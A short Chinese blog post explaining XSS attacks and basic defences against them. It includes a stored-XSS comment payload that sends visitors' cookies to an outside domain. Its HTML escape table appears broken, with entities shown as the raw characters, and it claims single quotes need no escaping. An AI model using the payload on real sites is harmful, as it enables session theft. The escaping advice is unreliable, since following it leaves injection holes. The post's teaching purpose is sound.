什么是 XSS 攻击

Posted by jiananshi on 2017-07-15

XSS 的全称是 Cross Site Scripting,为了避免同 CSS 的缩写重复所以用了 XSS 代替,相比于上一篇介绍的 CSRF 攻击,XSS 攻击的威力更大,它可以直接在用户当前正在浏览的页面运行自定义的 javascript 脚本,操作得当的话可以污染浏览这个页面的所有用户。

XSS 最主要的方式是通过服务端没有对用户上传的内容进行 编码/过滤,然后直接返回给客户端并展示在 HTML 上,客户端也直接输出了响应内容没有做过滤,这时内容的上传者就可以发起 XSS 攻击了。原理如下图:

xss

假设网站有一个评论的功能,评论内容会被上传到服务器并被所有浏览该文章的用户看到,某个用户上传了这样的内容:

1
<script>location.href="//shijianan.com/?c=" + document.cookie</script>

这个评论上传后在客户端被渲染成

1
<p><script>location.href="//shijianan.com/?c=" + document.cookie</script></p>

那么所有浏览这个页面的用户都将被跳往 shijianan.com 并且携带上他们当前作用域的 Cookie,如果这个网站不幸通过 Cookie 管理用户登录状态,那么接下来我就可以登录它的账号了,想想也是挺可怕的。

原理说完了,那么我们要如何防范这种攻击呢?相比于 CSRF,XSS 攻击的角度更多,影响更大,攻击者甚至可以再上传图片时在图片 url 中通过提前闭合标签的方式发起攻击。不过正如上文提到的,只有满足服务端不 编码/过滤,客户端也不 编码/过滤 两个条件时才可以实施。

  1. 永远不要相信用户的输入
  2. 转义 html 标签(客户端)

| 标签名 | 转义 |
| — | — |
| < | < |
| > | > |
| & | & |
| “ | &quot |

单引号就不需要处理了,因为 html 属性中用到的都是双引号,还有一种高端的通过 ASCII code 发起攻击的方式,看网上的防御方式普遍是转换成 &# 的形式。